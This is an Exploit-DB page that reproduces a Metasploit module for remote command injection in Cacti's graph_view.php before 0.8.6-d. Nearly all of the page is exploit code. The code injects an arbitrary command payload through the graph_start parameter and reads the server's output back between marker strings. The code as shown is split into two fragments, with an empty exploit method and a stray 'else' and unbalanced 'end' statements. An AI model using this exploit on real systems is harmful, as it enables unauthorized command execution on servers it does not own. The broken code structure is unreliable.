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Cacti 0.8.6-d - 'graph_view.php' Command Injection (Metasploit)

EDB-ID:

9911

CVE:

EDB Verified: 

Author:

[DAVID MACIEJAK](#)

Type:

[WEBAPPS](#)

Exploit:  

Platform:

[PHP](#)

Date:

2005-01-15

Vulnerable App:



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```
##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

  include Msf::Exploit::Remote::Tcp
  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'          => 'Cacti graph_view.php Remote Command
Execution',
      'Description'   => %q{
        This module exploits an arbitrary command execution
        vulnerability in the
        Raxnet Cacti 'graph_view.php' script. All versions of Raxnet
        Cacti prior to
        0.8.6-d are vulnerable.
      },
      'Author'        => [ 'David Maciejak
<david.maciejak[at]kxar.fr>', 'hdm' ],
      'License'       => MSF_LICENSE,
      'Version'       => '$Revision$',
      'References'    =>
        [
          ['OSVDB', '17539'],
          ['BID', '14042'],
        ],
      'Privileged'    => false,
      'Payload'       =>
        {
          'DisableNops' => true,
          'Space'       => 512,
          'Compat'      =>
            {
              'PayloadType' => 'cmd',
              'RequiredCmd' => 'generic perl ruby bash
telnet',
            }
        },
      'Platform'     => 'unix',
      'Arch'         => ARCH_CMD,
      'Targets'      => [[ 'Automatic', { }]],
      'DisclosureDate' => 'Jan 15 2005',
      'DefaultTarget' => 0))

    register_options(
      [
        OptString.new('URI', [true, "The full URI path to
graph_view.php", "/cacti/graph_view.php"]),
      ], self.class)
  end

  def exploit
    # Obtain a valid image ID
  end
end
```



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```

res = send_request_cgi({
  'uri'      => datastore['URI'],
  'vars_get' =>
  {
    'action' => 'list'
  }
}, 10)

if (not res)
  print_status("The server returned: #{res.code} #{res.message}")
  return
end

m = res.body.match(/local_graph_id=(.*?)&/)
if (not m)
  print_status("Could not locate a valid image ID")
  return
end

# Trigger the command execution bug
res = send_request_cgi({
  'uri'      => datastore['URI'],
  'vars_get' =>
  {
    'local_graph_id' => m[1],
    'graph_start'   => "\necho YYY;#{payload.encoded};echo
YYY;echo\n"
  }
}, 25)

if (res)
  print_status("The server returned: #{res.code} #{res.message}")
  print("")

  m = res.body.match(/YYY(.*?)YYY/)

  if (m)
    print_status("Command output from the server:")
    print(m[1])
  else
    print_status("This server may not be vulnerable")
  end
end

else
  print_status("No response from the server")
end
end

end

```

Tags: [Metasploit Framework](#)
(MSE)

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